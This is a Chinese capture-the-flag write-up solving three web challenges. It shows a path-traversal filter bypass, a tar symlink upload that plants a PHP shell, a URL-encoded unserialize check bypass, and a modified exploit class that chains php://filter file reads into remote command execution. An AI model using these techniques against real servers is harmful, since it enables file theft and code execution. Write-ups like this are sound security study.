第五届“长城杯”初赛 2025 Web Writeup
第五届“长城杯”初赛 2025 Web Writeup,打的时候还以为是铁人三项,被篇了,还只有 Web、AI、数据安全三个方向
文曲签学
长按 Fn 激活调试模式
read
能读取文件,文件名区分大小写,../
被过滤
#read ..././..././..././..././flag
EZ_upload
源码
<?php
highlight_file(__FILE__);
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
if (empty($filename)) {
echo '文件名不符合要求。';
return;
}
$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}
handleFileUpload($_FILES['file']);
?>
软链接
tar -cvf 1.tar link
tar -cvf 2.tar link/shell.php
SeRce
源码
<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
if(serialize(unserialize($exp)) != $exp){
$data = file_get_contents($_POST['filetoread']);
echo "File Contents: $data";
}
}
要一个字符串反序列化后和序列化必须不同,在调试的时候发现URL编码后的序列化字符串在反序列化时会被错误的解析,但反序列化仍然通过,这导致了绕过
<?php
$exp = 'O:7:"Exploit":1:{s:4:"flag";N;}';
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
if (isset($exp)) {
if (serialize(unserialize($exp)) != $exp) {
echo "File Contents1";
}
}
$exp = urlencode($exp);
echo $exp."\n";
echo (serialize(unserialize($exp)))."\n";
echo urlencode(serialize(unserialize($exp)))."\n";
if (isset($exp)) {
if (serialize(unserialize($exp)) != $exp) {
echo "File Contents2";
}
}
输出:
O:7:"Exploit":1:{s:4:"flag";N;}
O:7:"Exploit":1:{s:4:"flag";N;}
O%3A7%3A%22Exploit%22%3A1%3A%7Bs%3A4%3A%22flag%22%3BN%3B%7D
b:0;
b%3A0%3B
File Contents2
file_get_content($_POST[''])
,对文件读取的内容没有做任何过滤,在 PHP 中存在这样一个漏洞 RCE,它在非常多的位置都可能存在,详细参考 https://xz.aliyun.com/news/14986
修改 Remote 类
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
exp="%4f%25%33%41%37%25%33%41%25%32%32%45%78%70%6c%6f%69%74%25%32%32%25%33%41%31%25%33%41%25%37%42%73%25%33%41%34%25%33%41%25%32%32%66%6c%61%67%25%32%32%25%33%42%4e%25%33%42%25%37%44"
url = f"{self.url}?exp={exp}"
return self.session.post(url, data={"filetoread": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File Contents:(.*)", flags=re.S).group(1)
return base64.decode(data)
经测试不能反弹 Shell,var下没有写入权限,改为写 /tmp 下再用伪协议读取
readflag
具备执行权限
python3 exp.py https://eci-2ze33airnmksp3l29jhw.cloudeci1.ichunqiu.com:80/ "/readflag > /tmp/1"
再用伪协议读即可
flag{b548ac91-611f-4937-9a15-726350a2a5b9}